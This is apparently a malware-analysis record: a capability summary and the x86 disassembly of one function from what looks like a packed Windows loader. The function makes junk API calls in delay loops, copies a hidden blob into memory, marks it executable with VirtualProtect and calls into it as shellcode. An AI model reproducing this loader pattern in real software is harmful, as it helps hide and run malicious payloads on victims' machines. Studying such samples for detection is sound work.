Function at 0x40309b
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk size
Get file attributes
Get memory capacity
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc20
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp edi, 0xfa62c8f
jge 0x4030da
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidthFloatA]
push esi
call dword [sym.imp.GDI32.dll_GetBkMode]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
cmp edi, 0x207142
jg 0x4030eb
inc edi
cmp edi, 0x67d12
jl 0x4030ab
cmp dword [0x2451e6c], 0x93
mov ebx, dword [sym.imp.USER32.dll_LoadMenuA]
jne 0x403198
push esi
push esi
call dword [sym.imp.USER32.dll_GetWindowLongW]
mov edi, dword [sym.imp.GDI32.dll_CreateDCA]
push esi
push esi
push esi
push esi
call edi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuStringW]
push esi
push esi
call ebx
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_InsertMenuItemW]
push esi
lea eax, [ebp - 0x420]
push eax
push esi
push 0x402c50
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push esi
push esi
push esi
push esi
call edi
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push esi
push esi
call dword [sym.imp.ole32.dll_CoUnmarshalHresult]
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push esi
call fcn.00403d48
push esi
call fcn.00403d5e
push esi
push esi
call fcn.00403c28
push esi
call fcn.00403f50
push esi
call fcn.00403e8c
add esp, 0x18
add dword [0x2451e6c], 0x1134b
push dword [0x2451e6c]
mov eax, dword [0x43c86c]
push esi
mov dword [0x2452ca8], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x2451e6c]
mov dword [0x24518fc], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, 0x1692e
push esi
push esi
call ebx
push esi
call dword [sym.imp.USER32.dll_CharUpperA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec edi
jne 0x4031d6
cmp dword [0x2451e6c], esi
jbe 0x403267
mov eax, dword [0x2452ca8]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x24518fc]
mov byte [ecx + edi], al
cmp dword [0x2451e6c], 0x490
jne 0x40325e
push esi
push esi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push esi
push esi
call dword [sym.imp.GDI32.dll_GetTextMetricsA]
push esi
call dword [sym.imp.GDI32.dll_DeleteMetaFile]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
lea eax, [ebp - 0xc]
push eax
push esi
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
inc edi
cmp edi, dword [0x2451e6c]
jb 0x4031f2
xor edi, edi
mov eax, dword [0x2451e6c]
add eax, edi
cmp eax, 0x8d
jne 0x4032a5
push esi
lea eax, [ebp - 0x420]
push eax
push esi
push 0x402c70
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push esi
call dword [sym.imp.USER32.dll_GetMenu]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenEventW]
inc edi
cmp edi, 0x38681
jl 0x403269
call fcn.00402fb6
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x61
jne 0x4032d4
mov dword [ebp - 4], esi
add dword [ebp - 4], 0x92f8
mov eax, dword [ebp - 4]
add dword [0x24518fc], eax
inc edi
cmp edi, 0x674bd
jl 0x4032b5
push 0x7b
pop edi
cmp dword [0x2451e6c], 0x86
jne 0x40333d
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push esi
lea eax, [ebp - 0x420]
push eax
push 0x402c74
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push esi
lea eax, [ebp - 0xc20]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
cmp dword [0x2451e6c], 0xf
jne 0x403351
push esi
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
dec edi
jne 0x4032e0
push 0x402c88
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x24518fc]
pop edi
pop esi
pop ebx
leave
ret